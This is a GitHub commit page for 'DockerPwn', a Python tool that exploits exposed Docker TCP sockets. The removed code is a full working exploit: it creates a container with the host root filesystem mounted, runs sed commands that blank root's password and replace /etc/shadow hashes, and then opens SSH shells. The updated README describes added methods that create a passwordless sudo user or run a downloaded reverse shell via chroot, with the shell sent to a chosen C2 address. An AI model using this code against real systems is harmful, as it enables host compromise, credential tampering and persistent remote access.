Skip to content

Commit 44191bc

Browse files
authored
Merge pull request #1 from AbsoZed/WIP
Merge working WIP to Master for v1.0 release.
2 parents eb9b7ab + c3b206e commit 44191bc

File tree

7 files changed

+453
-294
lines changed

7 files changed

+453
-294
lines changed

DockerPwn.py

Lines changed: 34 additions & 219 deletions
Original file line numberDiff line numberDiff line change
@@ -1,246 +1,61 @@
11
#/usr/bin/python3
22

33
'''
4-
Exploit for exposed Docker TCP Socket.
4+
Automation for abusing an exposed Docker TCP Socket.
55
6-
This will automatically create a container on the Docker host with the root filesystem mounted,
7-
allowing arbitrary read and write of the root filesystem (which is bad).
6+
This will automatically create a container on the Docker host with the host's root filesystem mounted,
7+
allowing arbitrary read and write of the host filesystem (which is bad).
88
9-
Once created, the script will empty the password requirement for 'root', and will alter any user
10-
with a valid Unix password to have a password of 'DockerPwn'
11-
12-
Once this is done, the script will attempt to use Paramiko to login to all users enumerated from
13-
/etc/passwd using the password 'DockerPwn', and a shell will be spawned.
14-
15-
Roadmap:
16-
17-
Utilize the limited command execution via Paramiko to get a better shell, and automatically escalate to root.
18-
19-
20-
Usage:
21-
22-
DockerPwn.py [-h] [--target TARGET] [--port PORT]
23-
24-
optional arguments:
25-
-h, --help show this help message and exit
26-
--target TARGET IP of Docker Host
27-
--port PORT Docker API TCP Port
9+
Once created, the script will employ the method of your choosing for obtaining a root shell. Currently,
10+
shadow and useradd are working, with the less destructive method 'useradd' being default.
2811
2912
'''
30-
import sys
31-
import time
32-
import paramiko
13+
3314
import argparse
34-
import socket
35-
import json
36-
import http.client
37-
import re
15+
import sys
16+
import createContainer
17+
import shadowPwn
18+
import userPwn
19+
import chrootPwn
20+
import shellHandler
3821

3922
def main():
4023

4124
parser = argparse.ArgumentParser()
4225
parser.add_argument("--target", help="IP of Docker Host", type=str)
4326
parser.add_argument("--port", help="Docker API TCP Port", type=int)
27+
parser.add_argument("--image", help="Docker image to use. Default is Alpine Linux.", type=str)
28+
parser.add_argument("--method", help="Method to use. Valid methods are shadow, chroot, useradd. Default is useradd.", type=str)
29+
parser.add_argument("--c2", help="Local IP and port in [IP]:[PORT] format to receive the shell.", type=str)
4430
args = parser.parse_args()
4531
target = args.target
4632
port = args.port
33+
image = args.image
34+
method = args.method
35+
c2 = args.c2
4736

4837
if target is not None and port is not None:
49-
makeRequest(target, port)
50-
else:
51-
print("[!] You must specify a target and port. Exiting.")
52-
sys.exit(0)
53-
54-
55-
def makeRequest(target, port):
56-
57-
dockerConnection = http.client.HTTPConnection(target, port)
38+
39+
if image is None:
40+
image = 'alpine'
5841

59-
headers = {
60-
'X-Requested-With': 'DockerPwn.py',
61-
'Content-Type': 'application/json',
62-
}
63-
64-
dockerConnection.request('GET', '/containers/json')
65-
66-
apiProbeResponse = dockerConnection.getresponse()
42+
containerID = createContainer.create(target, port, image)
43+
44+
if method is None or method == 'useradd':
45+
userPwn.attack(target, port, containerID, c2)
46+
shellHandler.listen(c2, method)
6747

48+
elif method == 'shadow':
49+
shadowPwn.attack(target, port, containerID, c2)
50+
shellHandler.listen(c2, method)
6851

69-
if apiProbeResponse.status == 200:
70-
print('\n\n[+] Successfully probed the API. Writing out list of containers just in case there\'s something cool.\n')
71-
f = open("ContainerList.txt", "w+")
72-
f.write(str(apiProbeResponse.read()))
73-
f.close()
74-
dockerConnection.close()
52+
elif method == 'chroot':
53+
chrootPwn.attack(target, port, containerID, c2)
54+
shellHandler.listen(c2, method)
7555
else:
76-
print('[-] API responded in unexpected way. Got ' + apiProbeResponse.status + ' ' + apiProbeResponse.reason)
77-
dockerConnection.close()
56+
print("[!] You must specify a target and port. Exiting.")
7857
sys.exit(0)
79-
80-
try:
81-
82-
print("[+] Downloading latest Alpine Image for a lightweight pwning experience.\n")
83-
84-
dockerConnection.request('POST', '/images/create?fromImage=alpine&tag=latest')
85-
imageStatus = dockerConnection.getresponse()
86-
87-
if imageStatus.status == 200:
88-
print("[+] Alpine image is downloading to the host. Hope we aren't setting off any alarms. Sleeping for a bit.\n")
89-
dockerConnection.close()
90-
timeout = time.time() + 60*4
91-
while time.time() < timeout:
92-
cursorWait="\|/-\|/-"
93-
for l in cursorWait:
94-
sys.stdout.write(l)
95-
sys.stdout.flush()
96-
sys.stdout.write('\b')
97-
time.sleep(0.2)
98-
else:
99-
print('[-] API refused to download Alpine Linux. Exiting.')
100-
dockerConnection.close()
101-
sys.exit(0)
102-
103-
print("[+] Alright, creating Alpine Linux Container now...\n")
104-
105-
containerJSON = json.dumps({
106-
"Hostname": "",
107-
"Domainname": "",
108-
"User": "",
109-
"AttachStdin": True,
110-
"AttachStdout": True,
111-
"AttachStderr": True,
112-
"Tty": True,
113-
"OpenStdin": True,
114-
"StdinOnce": True,
115-
"Entrypoint": "/bin/sh",
116-
"Image": "alpine",
117-
"Volumes": {"/host/": {}},
118-
"HostConfig": {"Binds": ["/:/host"]},
119-
})
120-
121-
dockerConnection.request('POST', '/containers/create', containerJSON, headers)
122-
creationResponse = dockerConnection.getresponse()
123-
124-
if creationResponse.status == 201:
125-
126-
creationResponse = str(creationResponse.read())
127-
containerID = re.findall(r'[A-Fa-f0-9]{64}', creationResponse)
128-
print('[+] Success! Created container with root volume mounted. Got ID ' + containerID[0] + '!\n')
129-
dockerConnection.close()
130-
else:
131-
print('[-] API did not return a valid container ID, no container created.')
132-
dockerConnection.close()
133-
sys.exit(0)
134-
135-
print('[+] Starting container ' + containerID[0] + '\n')
136-
dockerConnection.request('POST', '/containers/' + containerID[0] + '/start')
137-
startResponse = dockerConnection.getresponse()
138-
139-
if startResponse.status == 204:
140-
print('[+] Container successfully started. Blue team will be with you shortly.\n')
141-
dockerConnection.close()
142-
else:
143-
print('[-] Container refused to start. Maybe try again. Insert shrug emoji here.\n')
144-
dockerConnection.close()
145-
sys.exit(0)
146-
147-
148-
print('[+] Phew, alright. Creating the EXEC to change passwords.\n')
149-
150-
151-
execJSON = json.dumps({
152-
"AttachStdin": True,
153-
"AttachStdout": True,
154-
"AttachStderr": True,
155-
"Cmd": ["/bin/sh", "-c", "cat /host/etc/passwd | grep -oE '^[^:]+' | tr '\\n' ' ' && sed -i 's/root:x:/root::/g' /host/etc/passwd && sed -i -e 's/:$6[^:]\+:/:$6$ilDk.19ZUBhQbxkA$6rv9s1sJcecVNwwW2V9uEl4QlJ\/V0d5JK\/lXAAdSUF7W3b2oGmp37I2qm.2iNGt.JXqKdoW4oGHaUSgABP5vA.:/' /host/etc/shadow"],
156-
"DetachKeys": "ctrl-p,ctrl-q",
157-
"Privileged": True,
158-
"Tty": True,
159-
})
160-
161-
dockerConnection.request('POST', '/containers/' + containerID[0] + '/exec', execJSON, headers)
162-
execResponse = dockerConnection.getresponse()
16358

164-
if execResponse.status == 201:
165-
execResponse = str(execResponse.read())
166-
execID = re.findall(r'[A-Fa-f0-9]{64}', execResponse)
167-
print('[+] EXEC successfully created on container! Got ID ' + execID[0] + '!\n')
168-
dockerConnection.close()
169-
else:
170-
print('[-] EXEC creation failed. Maybe try again?\n')
171-
dockerConnection.close()
172-
sys.exit(0)
173-
174-
print('[+] Now triggering the EXEC to change passwords. Hope SSH is open...\n')
175-
176-
triggerJSON = json.dumps({
177-
"Detach": False,
178-
"Tty": False
179-
})
180-
181-
dockerConnection.request('POST', '/exec/' + execID[0] + '/start', triggerJSON, headers)
182-
triggerResponse = dockerConnection.getresponse()
183-
184-
if triggerResponse.status == 200:
185-
print('[+] EXEC successfully triggered. Printing users found in /etc/passwd.\n')
186-
try:
187-
triggerResponse = str(triggerResponse.read())
188-
triggerResponse = triggerResponse.split('root')[-1]
189-
userList = triggerResponse.split(' ')
190-
userList.insert(0, 'root')
191-
userList.remove('')
192-
userList.remove('\'')
193-
print('[!] User List: ' + ' '.join(userList) + '\n')
194-
except:
195-
pass
196-
dockerConnection.close()
197-
else:
198-
print('[-] EXEC job did not trigger. Maybe our ID was wrong?')
199-
sys.exit(0)
200-
201-
except Exception as e:
202-
print(e)
203-
204-
shellHandler(target, userList)
205-
206-
def shellHandler(target, userList):
207-
208-
print('[+] OK, looking good. Attempting to open shell as root. This may take a minute or two.\n')
209-
210-
ssh = paramiko.SSHClient()
211-
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
21259

213-
for user in userList:
214-
conn = 'null'
215-
try:
216-
conn = ssh.connect(target, 22, user, "DockerPwn")
217-
except paramiko.AuthenticationException:
218-
print('[-] Login failed for ' + user)
219-
ssh.close()
220-
if conn is None:
221-
print('[+] Login succeeded for ' + user + '!\n')
222-
while True:
223-
prompt_response = input("DockerPwn@" + target + "> ")
224-
stdin, stdout, stderr = ssh.exec_command(prompt_response, get_pty=True)
225-
if stdout is not None:
226-
formattedOut = str(stdout.readlines())
227-
formattedOut = formattedOut.replace("[", "")
228-
formattedOut = formattedOut.replace("]", "")
229-
formattedOut = formattedOut.replace("'", "")
230-
formattedOut = formattedOut.replace("\\r\\n", "")
231-
formattedOut = formattedOut.replace(" , ", " ")
232-
print(formattedOut)
233-
if stderr is not None:
234-
formattedErr = str(stdout.readlines())
235-
formattedErr = formattedErr.replace("[", "")
236-
formattedErr = formattedErr.replace("]", "")
237-
formattedErr = formattedErr.replace("'", "")
238-
formattedErr = formattedErr.replace("\\r\\n", "")
239-
formattedErr = formattedErr.replace(" , ", " ")
240-
print(formattedErr)
241-
242-
243-
244-
24560
if __name__ == '__main__':
246-
main()
61+
main()

README.md

Lines changed: 20 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -9,90 +9,35 @@ Automation for abusing an exposed Docker TCP Socket.
99
This will automatically create a container on the Docker host with the host's root filesystem mounted,
1010
allowing arbitrary read and write of the host filesystem (which is bad).
1111

12-
Once created, the script will empty the password requirement for 'root', and will alter any user
13-
with a valid Unix password to have a password of 'DockerPwn'
12+
Once created, the script will employ the method of your choosing for obtaining a root shell. All methods are
13+
now working properly, and will return a reverse shell. Chroot is the least disruptive, but Useradd is the default.
1414

15-
Once this is done, the script will attempt to use Paramiko to login to all users enumerated from
16-
/etc/passwd using the password 'DockerPwn', and a shell will be spawned.
15+
### Methods:
1716

18-
## Roadmap:
17+
- All shell I/O is logged to './DockerPwn.log' for all methods.
18+
19+
- Useradd: Creates a 'DockerPwn' user, and adds them to /etc/sudoers with NOPASSWD. The handler automatically escalates to
20+
root using this privilege, and spawns a PTY.
21+
22+
- Shadow: Changes root and any valid user passwords to 'DockerPwn' in /etc/shadow, authenticates with Paramiko,
23+
and sends a reverse shell. The handler automatically escalates to root utilzing 'su', and spawns a PTY.
1924

20-
Utilize the limited command execution via Paramiko to get a better shell, and automatically escalate to root.
25+
- Chroot: Creates a shell.sh file which is a reverse shell, hosts on port 80. Downloads to /tmp,
26+
Utilizes chroot in docker container to execute shell in the context of the host, providing
27+
a container shell with interactivity to the host filesystem.
2128

29+
## Roadmap:
30+
31+
- SSL Support for :2376
2232

2333
## Usage:
2434
```
25-
DockerPwn.py [-h] [--target TARGET] [--port PORT]
35+
DockerPwn.py [-h] [--target TARGET] [--port PORT] [--image IMAGE] [--method METHOD] [--c2 C2]
2636
2737
optional arguments:
2838
-h, --help show this help message and exit
2939
--target TARGET IP of Docker Host
3040
--port PORT Docker API TCP Port
31-
```
32-
## Example Output:
33-
34-
```
35-
Dylans-MacBook-Pro:~ dylan$ /usr/local/bin/python3 /Users/dylan/Documents/DockerPwn.py --target 192.168.0.20 --port 2375
36-
37-
[+] Successfully probed the API. Writing out list of containers just in case there's something cool.
38-
39-
[+] Downloading latest Alpine Image for a lightweight pwning experience.
40-
41-
[+] Alpine image is downloading to the host. Hope we aren't setting off any alarms. Sleeping for a bit.
42-
43-
[+] Alright, creating Alpine Linux Container now...
44-
45-
[+] Success! Created container with root volume mounted. Got ID 40b99b62bfb89181985fb38d1e2c4928efc22d72f48e83f989f2e822cf19bb5c!
46-
47-
[+] Starting container 40b99b62bfb89181985fb38d1e2c4928efc22d72f48e83f989f2e822cf19bb5c
48-
49-
[+] Container successfully started. Blue team will be with you shortly.
50-
51-
[+] Phew, alright. Creating the EXEC to change passwords.
52-
53-
[+] EXEC successfully created on container! Got ID bc5ee929577554b9bc573b33c4a7e811542657a6aaeba6791d07bbdcc602103f!
54-
55-
[+] Now triggering the EXEC to change passwords. Hope SSH is open...
56-
57-
[+] EXEC successfully triggered. Printing users found in /etc/passwd.
58-
59-
[!] User List: root daemon bin sys sync games man lp mail news uucp proxy www-data backup list irc gnats nobody systemd-network systemd-resolve syslog messagebus _apt lxd uuidd dnsmasq landscape pollinate sshd dylan
60-
61-
[+] OK, looking good. Attempting to open shell as root. This may take a minute or two.
62-
63-
[-] Login failed for root
64-
[-] Login failed for daemon
65-
[-] Login failed for bin
66-
[-] Login failed for sys
67-
[-] Login failed for sync
68-
[-] Login failed for games
69-
[-] Login failed for man
70-
[-] Login failed for lp
71-
[-] Login failed for mail
72-
[-] Login failed for news
73-
[-] Login failed for uucp
74-
[-] Login failed for proxy
75-
[-] Login failed for www-data
76-
[-] Login failed for backup
77-
[-] Login failed for list
78-
[-] Login failed for irc
79-
[-] Login failed for gnats
80-
[-] Login failed for nobody
81-
[-] Login failed for systemd-network
82-
[-] Login failed for systemd-resolve
83-
[-] Login failed for syslog
84-
[-] Login failed for messagebus
85-
[-] Login failed for _apt
86-
[-] Login failed for lxd
87-
[-] Login failed for uuidd
88-
[-] Login failed for dnsmasq
89-
[-] Login failed for landscape
90-
[-] Login failed for pollinate
91-
[-] Login failed for sshd
92-
[+] Login succeeded for dylan!
93-
94-
DockerPwn@192.168.0.20> id
95-
uid=1000(dylan) gid=1000(dylan) groups=1000(dylan),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
96-
97-
DockerPwn@192.168.0.20>
98-
```
41+
--image IMAGE Docker image to use. Default is Alpine Linux.
42+
--method METHOD Method to use. Valid methods are shadow, chroot, useradd. Default is useradd.
43+
--c2 C2 Local IP and port in [IP]:[PORT] format to receive the shell.

0 commit comments

Comments
 (0)